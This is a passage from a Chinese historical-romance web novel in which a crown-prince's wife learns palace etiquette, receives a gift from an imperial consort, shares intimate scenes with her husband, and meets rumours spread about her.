这个姜黎婳是知道的,在皇家透露出要苏家的女儿嫁给楚御礼当皇子妃的时候,他们原本打算是让苏清欢嫁过来的,但苏清欢却咬**要嫁给萧景宴,他们才对外宣称府上是双生女,把她嫁给了楚御礼。
她是嫁给大皇子是冲喜,加上楚御礼可能命不久矣,所以皇室也不是那么重视他的这场婚事,对她也并不如其他皇子妃那么苛责,所以并未让她入宫学习规矩礼仪。
可皇后忽然说这事儿做什么?
皇后看出姜黎婳心头的疑惑,她屏退了殿内伺候的宫人,这才悄声对姜黎婳说,“如今御儿有你在身边,御儿定然会平安无事,他作为嫡长子,将来极可能就是东宫之主,你也是时候学习一下宫廷礼仪了,莫要将来做了太子妃还闹出笑话。”
“母后您想让教**嬷嬷去府上教儿臣宫规礼仪吗?”
皇后摇头,“二皇子的赐婚圣旨已经下了,鲁卿秋过两日就要入宫学习规矩礼仪了,你就一同学习,如何?”
皇后说到这里眼神变得意味深长,“你们作为妯娌,如此一来也算是提前熟悉了,搞好妯娌关系,对你来说也只有好处没有坏处。”
“儿臣知道了。”姜黎婳应下来。
楚御礼说过这鲁御史与冯丞相是死对头,如今皇后又让自己与鲁卿秋打好关系...
她抬眸看了皇后一眼,皇后对她一笑,姜黎婳心头一跳,难道这鲁卿秋是皇后的人?
这到底忠诚到了什么程度才让鲁卿秋愿意搭上自己的终身幸福去嫁给二皇子当卧底的?
三日后。
姜黎婳在一处空着的宫殿内见到了皇后口中的二皇子妃鲁卿秋。
鲁卿秋和一般的女子不同,她生得比一般女子高大,姜黎婳自认为自己一米六五的身高不矮了,但目测鲁卿秋有一米七多一些,她不算胖,但绝对算不上瘦,就和上一世她认识的一些铅球运动员一样,健壮,加上眉宇之间的强势之色更给她添了几分英气,不过也正是这英气,衬得她有几分俊俏。
对,她没有女子该有的娇俏柔美或者可爱,却有几分俊美。
看上去倒是比那被掏空的二皇子更有男子气概一些。
鲁卿秋感受到姜黎婳目光,大方的给姜黎婳行了一礼,“见过大皇子妃。”
姜黎婳没想到她竟然这么坦然,这样倒显得自己刚刚的打量有点过分了,姜黎婳对鲁卿秋歉然一笑,“抱歉,方才是我唐突了,鲁小姐不要往心里去。”
“没事,第一次见我的人,都会用那种眼神看我。”鲁卿秋不在乎的耸了耸肩,“我已经习惯了。”
“不是。”姜黎婳觉得她很有必要为自己辩解一下,“我绝对没有觉得鲁小姐你不好的意思,我只是第一次见你这样俊美的女子,所以多看了两眼。”
“俊美?”鲁卿秋有些愣了,“大皇子妃你是在夸我长得好看吗?”
“当然啦。”姜黎婳笑了,“你很好看啊。”
若是她瘦一些下来的话,以她的身材和五官,去当模特的话,绝对会很受欢迎的。
鲁卿秋长这么大还是第一次听到有人夸自己长得好看,她那一向无所谓的脸上霎时染上了害羞的红霞,“还是第一次有人夸我长得好看呢。”
以前在家中母亲总说你要温柔一些,不要像个男人一样强势。
那些姨娘也总是背地里说她像个男人一样,谁会娶她。
她更知道皇后让皇帝给自己和二皇子赐婚是怀了膈应二皇子的心思...
“你是真的觉得我好看吗?”鲁卿秋说这话的时候有些忐忑,她真怕人家只是和她客气,自己追问会戳破她对自己的客气。
姜黎婳笑了,趁着教**嬷嬷还没过来,她拉着鲁卿秋在旁边的红木雕花椅上坐下,“自然是真的,我从来不会说假话。”
说着姜黎婳话音一转,“鲁小姐平日爱吃甜食?”
鲁卿秋看姜黎婳的目光里面带着惊讶,“大皇子妃如何知道的?”
“我听说了鲁小姐以前的事情,以前日子苦所以爱吃甜食,那以后嫁给二皇子了,就把日子过得甜一些,少吃甜食。”姜黎婳抬眸看着她抹了脂粉的脸,“甜食不仅会引起身材臃肿,
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还会导致脸上冒痘,肤色也会变得暗黄。”
姜黎婳说到这里伸手摸了摸自己的脸,压低声音道:“这是我的养肤之道,如今只告诉了鲁小姐一人,你可别传出去了。”
“可你不是江南人吗?”
“但我不爱吃糖。”姜黎婳冲鲁卿秋眨了眨眼睛,“秘密哦。”
鲁卿秋被她娇俏的样子惹笑了,她点头,“好。”
她之前只听说这大皇子妃是苏家养在乡下的女儿,近些日子才接回来的,她曾与苏清欢接触过,那是个捧高踩低的人,也并不好相处,没想到这个大皇子妃竟然和那苏清欢完全不一样。
很快教**嬷嬷过来了,看到两人坐在椅子上聊天,她眼里闪过一丝诧异之色,这皇后和慧贵妃两人水火不容,没想到两人的儿媳妇倒是相处的不错。
她收起心思上前给姜黎婳见礼,“大皇子妃,奴婢紫晴。便是今日教**你们礼仪规矩的嬷嬷。”
给姜黎婳问安之后,紫晴便让两人站了起来,她一脸严肃的扫过站着的两人,沉声道:“今日奴婢就教你们行走姿势与坐姿仪态还有站姿规范,身为皇子妃,应该时刻记得自己的身份,站有站相坐有坐相,走路亦不可失了庄重和优雅。”
姜黎婳在江南的时候,爹爹虽然只是商贾,但却是富甲一方的商贾,把她也是当名门闺秀培养的,自然也请了教**礼仪的嬷嬷上门教她一些上流人士的礼仪规矩。
而她回苏家这么久以来,苏家虽然人虽然处处看不惯她,但却从未说过她仪态和规矩不好。
嫁给楚御礼这些日子,楚御礼也从未说过她不懂规矩。
她以为自己的礼仪和规矩应该是很不错的。
直到这一天下来,她才真正的知道了什么是宫规,什么是宫廷礼仪!
回到大皇子府,姜黎婳是累得一个手指头都不想动了。
用膳的时候,甚至连手都不想抬,楚御礼见她这样,眉头微微皱起,语气有些不满,“明日为夫去找母后,咱们不学了。”
姜黎婳只当他说说,“母后也是为了我好,毕竟这些我现在若是不学,将来也容易被人挑了错处来寻我麻烦。”
“可才一天就把你累成这样了。”楚御礼心疼的端起汤碗拿着勺子,舀起解暑汤喂她,“瞧瞧,你这都没力气了。”
第60章 感受到为夫了吗
姜黎婳今天不是在走路就是在坐下起身或者站着不动,来来**的这么折腾,反而比她以前训练的时候还累。
用了晚膳之后她没力气的趴在桌上,连沐浴都不想去了。
楚御礼瞧着她这懒洋洋的模样,低声问,“动不了了?”
姜黎婳摇头不说话。
那样枯燥的听着紫晴嬷嬷教导,然后一遍一遍的重复那些动作,不仅是她,就连鲁卿秋都累得受不了了。
瞧着她这懒洋洋的模样,楚御礼眉眼微微一动,“但你浑身是汗。”他走过去在姜黎婳面前蹲下,低低的声音中带着蛊惑,“不如为夫抱着你去洗?”
姜黎婳根本没心思思考其他,她原本想说让铃铛她们给自己洗就是,但是想到铃铛她们好像抱不动自己,便对楚御礼道:“殿下抱我进去,然后唤铃铛和知夏进来伺候我洗漱就是。”
楚御礼轻笑一声起身抱着她就往隔壁的盥洗室走去,进了盥洗室,楚御礼把她放置在浴桶旁边的木梯上,伸手去为她宽衣....
原本疲惫不堪的姜黎婳被他的动作吓了一跳,她一把压住他的手,满脸羞红,“让知夏她们来伺候我洗漱就是。”
“为夫来。”楚御礼眼神炙热的盯着姜黎婳的脸,“难道娘子害怕为夫胡来不成?你都累成这样了,为夫会那么没有分寸?”
“我不是这个意思。”姜黎婳有些不自在的偏开头,“我只是...”
“只是什么?”楚御礼说着已经扯开了她的衣服带子,他的语气带着一丝蛊惑,“你告诉为夫,你在怕什么?”
姜黎婳一惊,她抬头看着楚御礼,已经完全忘了去阻止他的动作。
楚御礼深深地看着她,手上的动作却没有半点停顿,他轻轻脱掉她的外袍,轻轻问,“娘子?你为何抗拒?”
一丝凉意传来,姜黎婳才猛地回神,她一把抓住被褪去的外袍,抬眸看着楚御礼,低声问,“殿下,你这话是什么意思?”
看到她眼中的戒备,楚御礼心头一叹,他抬手握住姜黎婳的肩膀,手指轻轻地在她的肌肤上揉搓,语气疼惜,“你到底经历过什么?”
姜黎婳心惊,她何时表现出来的?
他看出了什么?
“娘子,到如今你还不能全身心的接受为夫吗?”楚御礼轻轻松开姜黎婳,眼底黯然,“为夫让知夏进来伺候你沐浴。”
他站起身来转身要往外走。
姜黎婳来不及思考,只觉得自己若是让他就这样走了,肯定会后悔。
她伸手抓住楚御礼的衣角,“殿下。”
楚御礼走了两步才发现自己的衣角被人抓住了,他回头看去,正好对上姜黎婳那双湿漉漉的桃花眼,他心头一窒,连忙走过去把姜黎婳抱起来,自己在木梯上坐下,让她坐在自己腿上,抬手把她眼角的泪水擦干了,他才柔声问,“怎么哭了?”
姜黎婳也不知道自己为什么会哭。
是因为他是第一个察觉自己问题的人吗?
小时候她不愿与人接触,父兄只认为她是胆小。
他们会给她更多耐心。
后来长大,她不愿与男子接触,父兄也并未觉得不对,甚至觉得世间任何男子都不配与她玩耍,不仅如此,他们甚至鼓动她不要与男子相交,最好离得远远地。
但是,他却察觉到了她心底的抗拒。
可,她明明掩饰得很好。
且身体上的愉悦是不会骗人的,除了一开始的被动,她自认在那件事情上,后面她的身体也会跟着他一起沉沦。
见姜黎婳又不说话了,楚御礼心头满是无奈,他道:“你不愿意说,就不说了。”
姜黎婳轻轻摇头,“我没有不想说。”
楚御礼垂眸看着她。
姜黎婳微微垂眸,她现在衣裳被脱了三分之一,着实算不上得体,里衣的肩带也被落了下来,松松垮垮的...
她低声道:“不如先洗漱?”
“为夫帮你?”楚御礼眸色变深。
姜黎婳点了点头没说话。
楚御礼耐心的给姜黎婳洗了头发又让知夏和铃铛进来给浴桶换水,然后才给姜黎婳洗澡。
姜黎婳虽然一开始会因为他的手触碰到她的肌肤而颤栗,但逐渐就把自己放松了,洗到最后反倒是楚御礼后悔了。
他垂眸看了一眼狼狈的自己,早知道不毛遂自荐了。
其实他自己一开始的目的就不纯,后来瞧见她哭,便压下了心底的心思,专心给她洗漱。
但是给自己心悦的娘子洗澡,他能半点反应都没有吗?
原本想捉弄她,最后变成了折磨自己。
姜黎婳洗漱好起来之后,楚御礼干脆将就着她用过的水直接把自己也清洗了一遍。
姜黎婳穿戴好在寝室等楚御礼出来都是一盏茶的功夫之后了。
楚御礼走出来的时候眼睛微红,人也带着一股
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子说不出来的燥意。
因为心中有事,姜黎婳没有让知夏她们进来给自己擦头发,而是自己拿了一条干净的帕子坐在床边擦头发。
楚御礼走出来就看到穿着粉色亵衣的姜黎婳坐在床边擦发,他走过去接过姜黎婳手中的帕子帮她擦。
“现在能说了?”
姜黎婳抬眸看了他一眼。
楚御礼拍了拍自己的膝盖,“头倚上来。”
姜黎婳把头枕在他膝盖上,楚御礼轻轻地给她擦头发,也不催她。
好像被他的动作安抚到,姜黎婳回想前世的种种,心底的那抹不安和厌恶好像都没有那么强烈了。
“殿下,其实在回京之前,妾身就做过一个梦。”姜黎婳轻轻开口。
楚御礼适当柔声回应她,“什么梦?”
“我梦到我被亲生父母找回来,他们想把我嫁给一个对家族有利的中年男人,那个男人丧妻,还有其他特殊的癖好。”
“我百般拒绝,他们却罔若未闻,给我用了药把我送到了那个人那里,虽然最后我逃了出来,那人也没有得逞,但...”
楚御礼手上的动作微微停顿了片刻,然后接着给姜黎婳擦拭。
姜黎婳抬眸看了楚御礼一眼,接着道:“我心头依旧不安。”
“那只是梦。”楚御礼叹气。
原来她竟然那么胆小,只是一个梦境竟然就让她在心头害怕了那么久,甚至对男女之事都那么抗拒。
姜黎婳掩下眼底的怅然,低声道:“我怕现在的一切才是梦。”
她怕等她一觉醒来,她又要回去面对那些势利眼的亲人,还得嫁给那个富商。
楚御礼的手在她脸上轻轻捏了捏,“痛不痛?”
姜黎婳抬眸看他,眼神疑惑,楚御礼瞧着她那模样,眼神一暗,他把手中的帕子往旁边一丢,“罢了,不让你亲身感受到为夫的存在,你是不会相信现在是现实的。”
姜黎婳被人按在身下之后才反应过来他刚刚那句话的意思。
这一次楚御礼没有急切的步入主题,而是把这几日自己在那本小人书上学到的技巧都用了一遍,直到姜黎婳娇声求他的时候,才给她的。
甚至中间他还好几次问她:“娘子,感受到为夫了吗?这是不是梦?”
姜黎婳这次被他弄得完全忘了自己是谁,哪儿还记得上一世经历了什么,她此时凭着本能攀着他,红着眼尾哭着摇头。
第61章 贤妃送沉香手串
几次折腾下来,姜黎婳只觉得浑身酸软提不起劲儿,脑袋也昏昏沉沉的,根本无心其他,闭着眼睛窝在楚御礼的怀中睡了过去。
楚御礼看着窝在自己怀中的人儿,心满意足的在她头顶亲了亲,接着用下颌抵着她的头顶,轻轻阖上眼。
原来她的症结是那个梦。
既然她是因为噩梦才对那件事情如此抗拒,那以后他就让她只记得那件事情的美好,让她的梦中只有他,再无其他。
昨天白日就累了一天,晚上又被折腾了好几次,姜黎婳第二天理所应当的起晚了。
她睁开眼睛看了一眼日上三竿的天色,她惊呼一声爬起来朝外面喊,“铃铛,知夏,你们怎么都不喊我!”
知夏用铜盆端着水走进来,想到昨夜殿中又叫了好几次水,而每次叫水的时候她家小姐都是晕晕乎乎的被大皇子抱着去清洗的,她眼中就带起了笑意,“大皇子殿下晨起时吩咐了奴婢们,让奴婢们不要吵到您,让您睡醒了再去宫中,他已经派人去宫中打过招呼了。”
“我与鲁小姐一同学习规矩,我一上午没过去,岂不是让鲁小姐等一上午?”姜黎婳让知夏赶紧为自己穿戴梳妆,“穿戴好就去皇宫。”
姜黎婳匆匆赶到皇宫,还没来得去昨天的宫殿就被皇后身边的佩蓉嬷嬷喊住了。
佩蓉笑着上前给姜黎婳见礼,“娘娘听说皇子妃殿下入宫了,便让奴婢传您过去与娘娘一同用午膳。”
“鲁小姐呢?”姜黎婳回头看了一眼离自己不远的宫殿,“不好让她多等。”
佩蓉揶揄的对姜黎婳笑了笑,“殿下放心,您上午未到,娘娘便派人给鲁小姐传了话,让鲁小姐用了午膳再入宫。”
姜黎婳与佩蓉到了皇后宫中才发现贤妃和淑妃也在,她上前给三人请安。
皇后笑着让姜黎婳坐到自己身边来,然后才嗔怪的对淑妃和贤妃道:“不是让你们在行宫陪着太后吗?这么着急回来做什么?”
“没皇后娘娘您在,咱们在行宫也觉得无趣。”淑妃笑眯眯的看了皇后一眼,“再说了,给二皇子准备婚事可马虎不得,如今慧贵妃在禁足,大小事宜都要姐姐您操心,妹妹不是害怕把您给累着了吗?所以回来看看有什么事妾身能够帮得上忙的。”
贤妃蹙眉,“不如让陛下把慧贵妃的禁足解了,让慧贵妃自己去操持,免得到时候出了差池,还被人怨怼。”
皇后左右看了两人一眼,笑道:“二皇子的婚事自有礼部的人准备,又不是本宫的儿子成亲,本宫操心什么?”
贤妃听了皇后这话脸色才好看了一些,“如此甚好,免得咱们受了累,最后还讨不到好。”
姜黎婳捏着筷子扫了一眼只顾着聊天不想吃饭的三个人。
咕噜噜...
姜黎婳的脸霎时通红。
这肚子是真的半点委屈都受不了,不就没用早膳吗?至于当着这么多人的面**吗?
好丢脸啊...
皇后侧眸笑看向姜黎婳,“快吃吧。”
看到姜黎婳那巴不得找个地洞钻进去的模样,淑妃笑着打趣道:“大皇子妃昨夜又和大皇子缠绵了吧?今早是不是起晚了,没用早膳?”
姜黎婳把头垂得更低了,这后妃都把这种事情当茶余饭后的谈资的吗?
皇后嗔了淑妃一眼,“御儿如今身体什么情况你还不知道?还敢出言打趣婳儿?你就是仗着你是长辈,婳儿不好反驳你。”
说罢她给姜黎婳夹了一筷子菜,“婳儿从行宫回来之后,懂事了许多,昨日进宫与鲁小姐一同跟紫晴学宫廷规矩,想来昨天是累到了,才起晚的。”
贤妃眉梢动了动,看姜黎婳的眼神多了一丝怜爱,“学习宫规的确挺累的,难怪你起晚了。”
说着她从袖袋中取出一个小盒子递给姜黎婳,“你之前说喜欢,本宫想着大皇子手上那串他要时常佩戴,便让人给你寻了个差不多的来,你瞧瞧满不满意。”
姜黎婳接过盒子打开,里面是一串品质上乘的沉香珠。
姜黎婳连忙把盒子盖上还给贤妃,“贤娘娘这个太贵重了,无功不受禄,婳儿不能收。”
“你不喜欢拿回去扔了也可以,本宫送谁礼物,可没想过要收回来的。”贤妃笑看了姜黎婳一眼,“快用膳吧,不是饿了吗?”
淑妃瞧姜黎婳一脸惶恐,笑着安抚道:“贤妃姐姐最是有钱,大皇子妃别推拒了。”
姜黎婳看了皇后一眼,皇后笑了笑,“既然贤妃喜欢你,你就收下,长辈赐不可辞。”
姜黎婳这
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才把沉香珠收了起来,“多谢贤娘娘。”
贤妃笑着点了点头,拿起筷子给姜黎婳夹了一块醋鱼,“你与大皇子都应该把身子养好,大皇子如今年岁不小了,也该有个一儿半女了。”她说到这里又看了皇后一眼,“姐姐说是不是?”
皇后之前担心楚御礼的身体,生怕他不爱惜自己的身体,如今知道儿子的身体没什么问题,自然也想抱孙子,便随着贤妃的话点头,“是啊,年底御儿便十九岁了,也该有子嗣了。”
皇后给姜黎婳盛了一碗鸡汤,“你多喝点补补,早点给本宫生个孙儿来。”
姜黎婳:“......”
第二次催生了!
看来不只是现代有催婚催生。
这古代更甚啊!
而且这是真的有皇位要继承!
看姜黎婳垂着头不说话,淑妃笑了,“赶紧用膳吧,再说下去,咱们大皇子妃都不敢吃东西了。”
皇后笑了,“用膳用膳。”
饭后贤妃、淑妃两人告退。
姜黎婳也要起身告辞离开去慧仪殿,皇后却把她叫住了,她跟着皇后进了内殿,殿内只有她们婆媳二人。
“你先瞧瞧贤妃送你的手串有没有问题。”皇后面上再无先前用膳时候的笑意,此时眼底只剩下一片冰冷。
若这串沉香有问题,那她就可以断定贤妃就是要害她儿子的人。
姜黎婳知道皇后心头在顾虑什么,她拿出盒子打开拿出手串,放在毕竟细细的闻。
片刻之后姜黎婳轻轻摇头,“这是纯正毫无杂质的沉香手串。”
皇后双手紧紧握住,她沉着脸接过姜黎婳手上的沉香手串放在鼻尖闻了闻,半晌之后她垂下手,“那究竟是谁要害御儿?”
“母后别急,想要害殿下的人,在看到殿下的身体一日比一日好之后,定会露出马脚。”姜黎婳沉香手串直接戴在手上,“儿臣先去慧仪殿了。”
宫廷长廊上。
淑妃嗔怪的对贤妃道:“姐姐要给大皇子妃送礼物都不告诉妹妹一声,今儿个你给大皇子妃送礼物,我却两手空空,若大皇子妃多心,还以为我不待见她呢。”
贤妃侧首看了她一眼,“我只是在行宫的时候听说她喜欢,便让人留意了,没有想那么多。”
第62章 擦药
有了昨夜的教训,姜黎婳今晚是怎么都不让楚御礼帮自己洗漱,甚至连楚御礼躺上床的时候,她还在中间放了枕头说是安全线。
楚御礼被她这忽来的一出弄得哭笑不得,“为夫与你抱着睡,怎么就不安全了?”
姜黎婳瞬间面红耳赤,“你自己不知道?”
他一个余毒未清的人她都不知道他怎么那么多精力,几日不碰她都可以,但是一碰就收不了场。
楚御礼握拳咳嗽了一声,想到先前姜黎婳走路有些别扭,他道,“是不是昨晚闹得太厉害,身子不适?为夫给你擦点药?”
姜黎婳脸更红了。
明明上午的时候还好好的,但下午学习礼仪规矩的时候,不知为何就有些不舒服了。
先前回来,走路都感觉有些刺痛了。
她捂着脸,“妾身已经洗澡了,想来明早起来就会好。”
楚御礼看了一眼把自己的头捂在被窝里的人儿,起身去拿了药箱,找到了存放内抹软膏的瓷瓶,又去清洗了自己的手指,回来坐在床边红着床上捂着脸不见人的人儿,温声道:“不擦点药明天说不定会更不舒服,听话。”
“不要。”姜黎婳摇头,闷声道。
“你自己都是大夫,如何才对身体好,你不会不知道吧?”楚御礼伸手去拉她,软硬兼施,“你让我给你擦药,擦了药,我就同意你在中间放枕头,遵守你的安全线,如何?”
姜黎婳双颊通红,“那我自己擦。”
她即便如今对他没有什么抗拒的心思,但真要他用手指帮她擦药的话,她是真的做不到。
“你自己看不到,要如何擦?”楚御礼捏着她的手,循循善诱,“听话,很快就好了,先脱掉亵裤和小裤。”
姜黎婳红着脸摇头拒绝。
楚御礼叹气,他起身把室内其他的烛灯都吹灭,只留了床边那一盏,才看向姜黎婳:“现在可以了吗?”
见姜黎婳还是不动,他无奈一笑,“时辰不早了,娘子要与我耗到什么时候?”
姜黎婳咬着唇,“我自己来。”
“不行。”楚御礼拿着瓷瓶,“你看不到,胡来的话更容易伤到自己。”
最后姜黎婳在他一声声蛊惑的催促声中同意了他给自己上药。
身体的异样让姜黎婳忍不住往后退。
楚御礼看到她的确受了伤,还有些红,也不逗她,给她上了药便放过了她,“别穿了,容易磨到皮肤,今夜就直接盖着薄被睡觉。”
姜黎婳戒备的看了他一眼,“殿下在打什么主意?”
“你都这样了,我还能打什么主意?”楚御礼笑着把瓷瓶收起来,往隔壁盥洗室走去,“为夫去洗漱,你先休息。”
隔壁很快传来水声,但姜黎婳久久没见人回来。
她把两人中间放了一个长枕,拉过蚕丝薄被搭在身上睡了过去。
天气太热了,屋中即便放了冰块也依旧有些闷热,姜黎婳睡着之后无意识的就把被子给踢了。
花了小半个时辰洗澡纾解自己的楚御礼回来就看到她把被子踢开的模样,他眸色一暗,只觉得身体燥热无比,还没走到床边,人又往隔壁的盥洗室走去。
看着空空如也的浴桶,楚御礼深深地吸了口气,他拉开门直接出了院子。
守在门外的知夏见他走出来,急忙问:“殿下有什么吩咐?”
楚御礼脚步不停,“不用进去吵到皇子妃休息,孤有事要处理,一会儿就回来,你守在门口,孤回来你再离开。”
他大步离开梨月居,往自己的书房而去。
一直在院外守着的昭临看到自家主子大步出来,慌忙迎了上去,“主子,您要去书房?”
“让人准备温水,孤要沐浴。”楚御礼声音喑哑。
昭临:“?”
他应了一声,快步去准备。
等楚御礼到了书房,他才问,“殿下,您不是刚沐浴过吗?”
这头发还是湿的呢。
楚御礼睨了昭临一眼,冷哼,“你懂什么?”
昭临瞪眼,他不懂?
对对对,他不懂。
谁家好人刚刚洗了澡,又要折磨他们这些当下属的又准备一次水,还要再沐浴一次啊!
下次可得给皇子妃好好说说,让她教教大皇子节约用水!
楚御礼再次从浴桶站起来已经是两刻钟之后了,他穿戴好,刚走出书房门,就想起了自己刚刚看到的那一幕,他喉咙一紧。
想到今夜回去也不能碰她。
罢了,今夜就不回去了。
他深深地吸了口气,问昭临,“还有什么事情是孤没有处理完的?”
昭临很认真的回想了一下,“如今刑部侍郎的罪证还在收集,殿下您吩咐去竖州的人也还没回来,至于其他产业上的事情,您也交代好了,没什么需要您连夜做决定的事情了。”
楚御礼抬步往院中走去,走了两步,他倒回来,“那就练一下吧。”
“练什么?”昭临眼角一抽,“您
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要锻炼身体?”
“练剑吧。”楚御礼看他一眼,“去校场。”
昭临:“......”
下属的命不是命吗?
您要不要看看现在是什么时辰了?
大晚上的去校场练剑,人家会以为是闹鬼了好吗?
楚御礼走出院门回头看到昭临还站在原地没动,他眉头一皱,“怎么?”
昭临脸上带着笑意,“没什么,属下在想殿下要用什么剑。”
要不就用非常贱吧!
别人睡觉的时候让人陪着练剑,不是非常贱是什么!
楚御礼眼睛眯了眯,他看着昭临,“你好像很不乐意。”
“殿下您多虑了,属下是欣慰。”
“最好是。”楚御礼抬步朝另一边走去。
翌日一早。
楚御礼满身是汗的回到梨月居,看到正屋门外脸上挂这里两个黑眼圈的知夏,他眉头微微皱了皱,“大皇子妃昨夜不舒服?”
知夏摇头。
楚御礼这才抬步走了进去,看到姜黎婳还抱着枕头在睡觉,他眉眼柔了下来,抬步去隔间洗漱。
屋外知夏看着进了隔间的楚御礼,忍不住打了个哈欠,泪眼朦胧的呢喃道:“殿下这很快回来竟然是一整夜。”
她转身打算回屋休息,就和提着一桶水过来的昭临撞了个正着,看到盯着两个黑眼圈的昭临,知夏惊呼一声,“昭临,你昨夜当贼去了吗?”
昭临打了个哈欠,认命的往里面看了一眼,压低声音道:“陪人犯贱去了。”
“哦。”知夏困意来了,根本没听到昭临在说什么,只道:“那你伺候殿下洗漱,我也得去睡会儿。”
昭临这才看到知夏眼睛周围的黑眼圈,他眉头动了动,“大皇子妃昨夜也没睡好?”
难道这两人昨晚上吵架了?
不是吧,前晚上还如胶似漆,他还帮着知夏她们提水了,昨晚就吵架到分房睡了?
知夏摇头,“大皇子说他有事要去书房一趟很快回来,让我在门外守着皇子妃,但他这一去就是一整夜,也不知道干什么去了。”
昭临同情的看了知夏一眼,能干嘛去了。
人家睡不到媳妇儿,折磨属下去了。
还连带媳妇儿的婢女一块受罪。
“昭临!你是去城外打水吗?”楚御礼凉凉的声音从盥洗室传来。
昭临提着水应了一声,“来了。”
用同病相怜的眼神看了知夏一眼,这才提着水桶往里面走。
第63章 姜黎婳善妒?
姜黎婳是被隔壁盥洗室的水声吵醒的,她翻身坐起来,看了一眼平整的外侧,她没有多想,穿鞋下床。
佩玉端着温水走进来伺候她梳洗,知夏梳妆打扮是一把好手,自从知夏能为姜黎婳梳洗打扮之后,佩玉已经好几年未曾伺候过姜黎婳晨起了。
姜黎婳看到是佩玉,疑惑的看了一眼外面,没瞧见知夏的身影,她问,“知夏呢?怎么嬷嬷亲自过来了?”
佩玉想到因为死脑筋在姜黎婳门外守了一夜的知夏,无声地笑了笑,“知夏昨夜守着您,今早奴婢让她去休息了。”
姜黎婳点了点头,没有再多问。
佩玉找来水红色的百褶裙伺候姜黎婳更衣。
姜黎婳穿好衣裳,坐在梳妆镜前,听到隔壁的水声停了,她回头看去,一身水汽的楚御礼朝她走来,“醒了?”
姜黎婳应了一声,又端坐着等佩玉为自己挽发,楚御礼走过来站在她身侧透过镜子看她,“身子感觉可舒服些了?”
想到昨夜他给自己上药的场景,姜黎婳的脸倏地变红,她是真的想问,这古代的人真的不避讳下人吗?
当着佩玉的面,他竟然问这种问题?
楚御礼察觉到她的不自在,他挑了挑眉梢,让佩玉先出去。
佩玉识趣的退了出去,楚御礼在她身前蹲下,手指轻轻掀起她的裙角,“为夫检查一下?”
姜黎婳下意识伸手压住自己的裙子,低声嗔道:“已经好多了,不痛了。”
“我不放心。”楚御礼抬眸看她,眼中全是促狭之意,“得检查一下。”
“殿下!”姜黎婳觉得这人绝对是故意的,话语之间都多了一丝急切,“我自知道,那里没有不舒服了!”
楚御礼见她快要生气了,笑着站起来,在她眼睛上落下一吻,“逗你的。”
姜黎婳耳根一红,她真的觉得这人真是无时无刻不想和她亲昵。
楚御礼原本还想拉着姜黎婳温存一下,却被不常进姜黎婳院落的张嬷嬷打断了。
他喊来佩玉继续给姜黎婳挽发,往院外走去,“怎么了?”
张嬷嬷脸色不好,她左右看了一眼,低声道:“不知是谁传的,说大皇子妃常年在乡下长大,养成了不好的心思,又善妒,因为嫉妒家中的哥哥更看重姐姐,便用皇子妃的身份压着永宁伯老夫人把哥哥拿来送师长的端砚给了她,毁了自己亲哥哥的前程。”
看到楚御礼的脸色越来越差,张嬷嬷继续道:“现在外面传什么都有,还说前些日子您砸了苏府,也是大皇子妃撺掇的,就是为了报复苏家把她丢在乡下十几年。”
听张嬷嬷把话说完,楚御礼的面色已经恢复了正常,他抬步往书房走,张嬷嬷连忙跟了上去,“殿下,咱们要把这事儿告诉大皇子妃吗?”
他停下脚步,回头看了一眼梨月居的牌匾,片刻之后,他沉声喊人,“冽风。”
不知藏在哪儿的冽风出现在楚御礼面前,躬身抱拳对楚御礼行礼,“主子。”
“让墨玄查,看这流言究竟是谁传出来的!”楚御礼眼神冰冷,“查到后把人带到孤面前来。”
冽风应了声是,转身离开。
一整夜没睡,刚碰到枕头的昭临,刚刚进入梦乡就被人揪了起来,看到来人,他烦躁的揉了揉头发,“你最好有天大的事情!”
“就是天大的事,起来办事了,睡什么睡,主子练了一整夜都不困,你一个武功高强的人配睡觉?”
昭临暴躁的翻身起来,“什么天大的事情非要现在做!”
“有人在京城到处传播大皇子妃的流言,要毁了大皇子妃的名声,主子命我们彻查。”
“你不早说!”昭临抓起一旁的佩剑,“走,找墨玄。”
梨月居。
姜黎婳看着与张嬷嬷出去了片刻,回来脸色就一直不好的楚御礼,“谁惹殿下了?”
楚御礼知道这件事情是瞒不住她的,即便现在他不说,一会儿进宫之后说不定也会听到别人说,那还不如早些告诉她,好让她在别人故意刁难的时候,有个准备。
听了他的话,姜黎婳毫不意外地轻嗤,“何须找,如今苏家暂时没有胆子敢这么做,敢明目张胆这么做的,只有苏清欢了。”
楚御礼眉头一皱,想起苏清欢那张脸,他眼中的厌恶之色一闪而过,“她找死!”
“其实这也算是在意料之中。”苏清欢一直就见不得她好,把与楚御礼的婚事让给她的初衷怕也只是想要自己步她的后尘。
如今自己嫁给楚御礼不但没有被嫌弃,他还对他处处维护,想来在楚御礼砸了苏府之后苏清欢就已经巴不得吃她的肉喝她的血了。
也是苦了她还等了这么久。
“我让人把她抓起来。”楚御礼站起来,语气平静像是在说今天天气
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很好一样,“她一个外室女竟然还敢给你泼脏水,简直活腻了。”
姜黎婳笑着摇了摇头,她拉着楚御礼的手,低声道:“先让事情发酵一会儿吧,她这样做正好合了我的心意,殿下帮我一个忙好吗?”
“合你的心意?”楚御礼眉头皱了皱,不解的看她,“怎么帮?”
......
姜黎婳在御街上与鲁卿秋遇到了,鲁卿秋担忧的看着她,“大皇子妃,你还好吗?”
姜黎婳听她这么问自己,有些诧异的笑了笑,“你相信我?”
“我与苏家的人接触过,也与大皇子妃接触过。”鲁卿秋眉头皱起来,语气中还有些义愤填膺的感觉,“说苏清欢善妒我还相信,说你善妒?那我宁愿相信猪会飞。”
“多谢鲁小姐信我。”姜黎婳垂眸,“但如今外面传的难听,我的名声难免受损,若鲁小姐与我交好,怕是会受牵连。”
“我不在乎。”鲁卿秋去挽着姜黎婳的手,“我也不相信外面的传言,我相信,总有人会还你清白的。”
两人才进了皇宫,姜黎婳就被传到了凤仪宫中。
凤仪宫中不只有皇后,还有贤妃、淑妃。
看到姜黎婳从殿外款款而来,皇后眉头微微皱了皱,静静地看着她给自己行礼之后,才问,“姜黎婳,关于今日宫外的传言,你有什么要说的?”
贤妃听到皇后这冰冷的质问声,眉头微微皱了皱,她看了皇后一眼,见皇后神色不像是在作假,她出声道:“大皇子妃与我们相处这么些日子,是什么样的人,我们都清楚,皇后娘娘您先听听大皇子妃怎么说。”
淑妃也跟着点头,“是啊,这大皇子妃虽然有时候会与大皇子胡闹,但那些都无伤大雅,想来中间有什么误会。”
贤妃闻言偏头看了淑妃一眼,她眉头皱了皱,低声道:“你不会说话就莫要添乱了。”
淑妃撇了撇嘴,“我也想劝劝娘娘啊。”
